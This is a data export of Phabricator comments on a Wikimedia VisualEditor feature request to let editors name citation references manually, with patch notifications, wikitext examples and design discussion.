52568,VisualEditor: Be able to name references manually in the reference dialog,"If you create a new reference, you can specify a name - great! If you try to modify an existing reference to add a name... https://en.wikipedia.org/wiki/File:VEReferenceEdit.jpg oops.",Low,25.0,1372760160,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_description,open,True,c1,3,False,False,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,10.0,6.0,0.0,13.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,3.4193548387096775,0.7419354838709677,"If you create a new reference, you can specify a name - great! If you try to modify an existing reference to add a name... URL oops."
2394585,VisualEditor: Be able to name references manually in the reference dialog,"Just noting that there's lots of libraries out there that do this kind of thing.  Google for ""slugify"".",,,1723306099,,PHID-USER-vipegwlyd4ievw2wqspk,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,579,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5833333333333335,0.7916666666666666,"Just noting that there's lots of libraries out there that do this kind of thing.  Google for ""slugify""."
2075027,VisualEditor: Be able to name references manually in the reference dialog,"Change 891513 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Make auto-generated reference names like name="":0"" visible in VE%%%
https://gerrit.wikimedia.org/r/891513",,,1677179166,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,503,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,0.0,8.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.891891891891892,0.7837837837837838,"Change 891513 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Make auto-generated reference names like name="":0"" visible in VE%%%
GERRIT_URL"
2074663,VisualEditor: Be able to name references manually in the reference dialog,"Change 891513 had a related patch set uploaded (by Thiemo Kreuz (WMDE); author: Thiemo Kreuz (WMDE)):
%%%[mediawiki/extensions/Cite@master] Make auto-generated reference names like name="":0"" visible in VE%%%
https://gerrit.wikimedia.org/r/891513",,,1677151684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,503,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,6.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,3.9591836734693877,0.7959183673469388,"Change 891513 had a related patch set uploaded (by Thiemo Kreuz (WMDE); author: Thiemo Kreuz (WMDE)):
%%%[mediawiki/extensions/Cite@master] Make auto-generated reference names like name="":0"" visible in VE%%%
GERRIT_URL"
2033371,VisualEditor: Be able to name references manually in the reference dialog,"Change 743057 **abandoned** by Chlod Alejandro:
%%%[mediawiki/extensions/Cite@master] [WIP] Add field for changing reference name%%%
Reason:
%%%Abandoning this, since as of the way VisualEditor is written right now, it is immensely difficult to switch from counter-based reference names to name-based reference names, or perhaps I simply lack the required prior knowledge of how to make it possible in VisualEditor. Leaving this for someone else to do, hopefully some of the code here might still be useful.%%%
https://gerrit.wikimedia.org/r/743057",,,1670504338,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,492,,1.0,1.0,0.0,0.5,0.0,4.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.5,8.0,11.0,1.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,10.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,8.0,1.5,1.0,4.5,0.0,0.0,0.0,0.0,4.5,3.0,0.5,0.0,2.5,11.0,4.5,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,2.0,0.0,0.0,1.5,4.132154882154882,0.7619528619528619,"Change 743057 **abandoned** by Chlod Alejandro:
%%%[mediawiki/extensions/Cite@master] [WIP] Add field for changing reference name%%%
Reason:
%%%Abandoning this, since as of the way VisualEditor is written right now, it is immensely difficult to switch from counter-based reference names to name-based reference names, or perhaps I simply lack the required prior knowledge of how to make it possible in VisualEditor. Leaving this for someone else to do, hopefully some of the code here might still be useful.%%%
GERRIT_URL"
2003283,VisualEditor: Be able to name references manually in the reference dialog,"Change 740171 **merged** by jenkins-bot:
%%%[VisualEditor/VisualEditor@master] Verify key before removing node from InternalList%%%
https://gerrit.wikimedia.org/r/740171",,,1666189710,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,485,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,4.366666666666666,0.8,"Change 740171 **merged** by jenkins-bot:
%%%[VisualEditor/VisualEditor@master] Verify key before removing node from InternalList%%%
GERRIT_URL"
1995324,VisualEditor: Be able to name references manually in the reference dialog,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by Chlod using patch(es) linked to this task was **deleted**:

~~[[ https://patchdemo.wmflabs.org/wikis/2274ae27f1/w/ ]]~~",,,1665052298,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,483,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.5833333333333335,0.6944444444444444,"Test wiki on [[ URL | Patch demo ]]  by Chlod using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
1995312,VisualEditor: Be able to name references manually in the reference dialog,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by Chlod using patch(es) linked to this task:
https://patchdemo.wmflabs.org/wikis/2274ae27f1/w",,,1665051508,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,483,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.857142857142857,0.7857142857142857,"Test wiki **created** on [[ URL | Patch demo ]] by Chlod using patch(es) linked to this task:
URL"
1995308,VisualEditor: Be able to name references manually in the reference dialog,"Change 740171 had a related patch set uploaded (by Samtar; author: Chlod Alejandro):
%%%[VisualEditor/VisualEditor@master] Verify key before removing node from InternalList%%%
https://gerrit.wikimedia.org/r/740171",,,1665051130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,483,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,3.0,9.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,4.771428571428571,0.9142857142857143,"Change 740171 had a related patch set uploaded (by Samtar; author: Chlod Alejandro):
%%%[VisualEditor/VisualEditor@master] Verify key before removing node from InternalList%%%
GERRIT_URL"
1944363,VisualEditor: Be able to name references manually in the reference dialog,"Is there any progress on this? I note (now, having not seen it before) the proposal for an alternative at https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2019/Status_report_1#Named_References_in_VE which really doesn't look very helpful: if several of the refs in an article are to sources found on google books, or to a collection of articles written over time in one newspaper, or to journals from a particular online publisher, the editor will still have to struggle among a large set of semi-meaningless references (which of the umpteen ncbi refs in https://en.wikipedia.org/wiki/Oxford%E2%80%93AstraZeneca_COVID-19_vaccine would be ncbi-12?)  It surely cannot be that difficult for an algorithm, faced with a reference in a citation template, to do something like: ""Is there a ""last"" or ""last1"" field? If so, use it as ref name, adding number if needed for disambiguation (or, better, adding year if present, then number if needed); if no ""last1"", then use first word (or 2 words, or 10 chars) of  ""title"" field, similarly. If all else fails, use the domain name as proposed.""",,,1656964617,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,470,,1.0,0.3333333333333333,0.3333333333333333,0.0,1.0,4.666666666666667,0.6666666666666666,0.0,0.0,3.0,3.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,6.0,12.666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,2.0,1.0,1.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,14.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.666666666666667,1.6666666666666667,2.6666666666666665,3.0,2.3333333333333335,7.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.3333333333333333,0.0,1.3333333333333333,12.666666666666666,0.6666666666666666,1.0,4.0,0.0,1.3333333333333333,0.0,0.6666666666666666,3.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,3.5782025486250837,0.7446009389671362,"Is there any progress on this? I note (now, having not seen it before) the proposal for an alternative at URL which really doesn't look very helpful: if several of the refs in an article are to sources found on google books, or to a collection of articles written over time in one newspaper, or to journals from a particular online publisher, the editor will still have to struggle among a large set of semi-meaningless references (which of the umpteen ncbi refs in URL would be ncbi-12?)  It surely cannot be that difficult for an algorithm, faced with a reference in a citation template, to do something like: ""Is there a ""last"" or ""last1"" field? If so, use it as ref name, adding number if needed for disambiguation (or, better, adding year if present, then number if needed); if no ""last1"", then use first word (or 2 words, or 10 chars) of  ""title"" field, similarly. If all else fails, use the domain name as proposed."""
1826868,VisualEditor: Be able to name references manually in the reference dialog,"Change 743057 had a related patch set uploaded (by Chlod Alejandro; author: Chlod Alejandro):
%%%[mediawiki/extensions/Cite@master] Add field for changing reference name%%%
https://gerrit.wikimedia.org/r/743057",,,1638420663,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,439,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,4.4324324324324325,0.8378378378378378,"Change 743057 had a related patch set uploaded (by Chlod Alejandro; author: Chlod Alejandro):
%%%[mediawiki/extensions/Cite@master] Add field for changing reference name%%%
GERRIT_URL"
1183457,VisualEditor: Be able to name references manually in the reference dialog,"This has been proposed as part of the 2019 Community Wishlist:   https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2019/Citations/VisualEditor:_Allow_references_to_be_named  It's too early to know whether it will make the top 10 (voting will be open until the 30 November 2018), but it's currently among the more popular items, which suggests that solving this problem has widespread community support. ",,,1543192104,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,282,,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,3.0,10.0,3.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,5.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.065573770491803,0.8688524590163934,"This has been proposed as part of the 2019 Community Wishlist:   URL  It's too early to know whether it will make the top 10 (voting will be open until the 30 November 2018), but it's currently among the more popular items, which suggests that solving this problem has widespread community support. "
1181544,VisualEditor: Be able to name references manually in the reference dialog,"My first thought is that this wont remain opaque to VE forever and so what is required is a workaround that exposes to VE some aspects about the contents of templates like `{{columns-list}}` even if cannot be edited yet. 
For example, the template could expose metadata like: 
```
References included:  'Smith' 'Jones' 'Patel'
```
where each of those is the `name=` parameter of a reference used inside it. 

This would allow VE to display and error along the lines of ""Cannot rename reference ""Jones"" - used in uneditable block. It would also prevent the naming of a new reference with a conflicting name.

It may also be useful for T52474 and similar tasks.

How significant this would be to program I haven't the foggiest though.",,,1542746748,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,281,,0.5,0.0,0.0,1.0,2.0,6.5,2.5,0.0,0.5,0.5,0.5,0.5,0.0,0.0,0.0,1.0,0.5,7.5,11.5,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,2.5,2.0,0.0,2.5,0.5,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,10.5,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,5.5,3.5,9.5,1.5,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,11.5,4.0,0.0,2.0,0.0,3.0,0.0,1.5,2.5,0.0,0.5,0.0,0.5,0.0,3.984964881474978,0.7700834064969271,"My first thought is that this wont remain opaque to VE forever and so what is required is a workaround that exposes to VE some aspects about the contents of templates like CODE even if cannot be edited yet. 
For example, the template could expose metadata like: 
``CODE`CODEname=` parameter of a reference used inside it. 

This would allow VE to display and error along the lines of ""Cannot rename reference ""Jones"" - used in uneditable block. It would also prevent the naming of a new reference with a conflicting name.

It may also be useful for T52474 and similar tasks.

How significant this would be to program I haven't the foggiest though."
1181542,VisualEditor: Be able to name references manually in the reference dialog,"My first thought is that this wont remain opaque to VE forever and so what is required is a workaround that exposes to VE some aspects about the contents of templates like `{{columns-list}}` even if cannot be edited yet. 
For example, the template could expose metadata like: 
```
References included:  'Smith' 'Jones' 'Patel'
```
where each of those is the `name=` parameter of a reference used inside it. 

This would allow VE to display and error along the lines of ""Cannot rename reference ""Jones"" - used in uneditable block. It would also prevent the naming of a new reference with a conflicting name.

How significant this would be to program I haven't the foggiest though.",,,1542746648,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,281,,0.5,0.0,0.0,1.0,2.0,5.5,2.0,0.0,1.0,0.5,1.0,1.0,0.0,0.0,0.0,1.5,1.0,7.0,11.5,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,1.0,2.0,2.5,0.0,3.0,0.5,1.5,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,10.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,6.0,3.0,8.5,2.0,1.5,8.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,3.0,11.5,3.5,0.0,2.5,0.0,3.0,0.0,2.0,2.5,0.0,1.0,0.0,1.0,0.0,4.015600211528292,0.7802749867794817,"My first thought is that this wont remain opaque to VE forever and so what is required is a workaround that exposes to VE some aspects about the contents of templates like CODE even if cannot be edited yet. 
For example, the template could expose metadata like: 
``CODE`CODEname=` parameter of a reference used inside it. 

This would allow VE to display and error along the lines of ""Cannot rename reference ""Jones"" - used in uneditable block. It would also prevent the naming of a new reference with a conflicting name.

How significant this would be to program I haven't the foggiest though."
1180593,VisualEditor: Be able to name references manually in the reference dialog,">>! In T52568#4743919, @Thryduulf wrote:
> When this is implemented it needs to take account of reused references: 
> i.e. if `<ref name=""Smith"">...</ref>` is renamed to `<ref name=""Jones"">...</ref>`
> then all instances of `<ref name=""Smith"" />` need to be automatically changed to `<ref name=""Jones"" />`

This is actually a very good point, and I think this actually makes changing the name impossible in some cases. (But it should be possible to allow setting the name for newly created references.)

Consider a page like this:
```
Lorem ipsum dolor sit amet, consectetur adipisicing elit.<ref name=""example"">http://example.com/</ref>

{{columns-list|
* [[George Washington]]
* [[John Adams]]<ref name=""example"" />
}}

<references />
```

If you were to use VE to change the `name` of this reference, we would not be able to update the reuse inside the `{{columns-list}}` template, because the entire template is ""opaque"" – VE doesn't know about anything inside of it, it just displays the content.",,,1542650803,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,True,,,281,,1.0,1.0,1.0,0.0,1.0,6.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,8.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,11.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,6.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.933333333333333,0.7111111111111111,"QUOTE
QUOTE
QUOTE
QUOTE

This is actually a very good point, and I think this actually makes changing the name impossible in some cases. (But it should be possible to allow setting the name for newly created references.)

Consider a page like this:
``CODE`CODEnameCODE{{columns-list}}` template, because the entire template is ""opaque"" – VE doesn't know about anything inside of it, it just displays the content."
1180591,VisualEditor: Be able to name references manually in the reference dialog,">>! In T52568#4743919, @Thryduulf wrote:
> When this is implemented it needs to take account of reused references: 
> i.e. if `<ref name=""Smith"">...</ref>` is renamed to `<ref name=""Jones"">...</ref>`
> then all instances of `<ref name=""Smith"" />` need to be automatically changed to `<ref name=""Jones"" />`

This is actually a very good point, and I think this actually makes changing the name impossible in some cases. (But it should be possible to set the name for newly created references.)

Consider a page like this:
```
Lorem ipsum dolor sit amet, consectetur adipisicing elit.<ref name=""example"">http://example.com/</ref>

{{columns-list|
* [[George Washington]]
* [[John Adams]]<ref name=""example"" />
}}

<references />
```

If you were to use VE to change the `name` of this reference, we would not be able to update the reuse inside the `{{columns-list}}` template, because the entire template is ""opaque"" – VE doesn't know about anything inside of it, it just displays the content.",,,1542650702,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,True,,,281,,1.0,1.0,1.0,0.0,1.0,6.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,8.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,11.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,6.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.8764044943820224,0.7078651685393258,"QUOTE
QUOTE
QUOTE
QUOTE

This is actually a very good point, and I think this actually makes changing the name impossible in some cases. (But it should be possible to set the name for newly created references.)

Consider a page like this:
``CODE`CODEnameCODE{{columns-list}}` template, because the entire template is ""opaque"" – VE doesn't know about anything inside of it, it just displays the content."
1176741,VisualEditor: Be able to name references manually in the reference dialog,"When this is implemented it needs to take account of reused references: 
i.e. if `<ref name=""Smith"">...</ref>` is renamed to `<ref name=""Jones"">...</ref>`
then all instances of `<ref name=""Smith"" />` need to be automatically changed to `<ref name=""Jones"" />`

Thought will need to be given to the interaction of this and section editing. ",,,1542139214,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,280,,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,20.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,12.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,20.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.18,0.7,"When this is implemented it needs to take account of reused references: 
i.e. if CODE is renamed to CODE
then all instances of CODE need to be automatically changed to CODE

Thought will need to be given to the interaction of this and section editing. "
967198,VisualEditor: Be able to name references manually in the reference dialog,"If we try to name a reference by only using a numeral, the system rejects it and says that numeral only reference names are not permitted.
I feel it is bogus that Visual Editor gets around this by adding a colon: e.g. - :17
That kind of reference name is wrong and unhelpful.
I hope that the ability to manually name references, or at least the ability to manually approve the generated name is restored.",,,1511145285,,PHID-USER-wwyujao3kjfasgvrx6nk,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,229,,0.0,0.0,0.0,2.0,1.0,8.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,8.0,5.0,7.0,5.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,6.0,14.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,2.0,0.0,1.0,0.0,3.9176470588235293,0.6470588235294118,"If we try to name a reference by only using a numeral, the system rejects it and says that numeral only reference names are not permitted.
I feel it is bogus that Visual Editor gets around this by adding a colon: e.g. - :17
That kind of reference name is wrong and unhelpful.
I hope that the ability to manually name references, or at least the ability to manually approve the generated name is restored."
794319,VisualEditor: Be able to name references manually in the reference dialog,"> If you create a new reference, you can specify a name - great! 

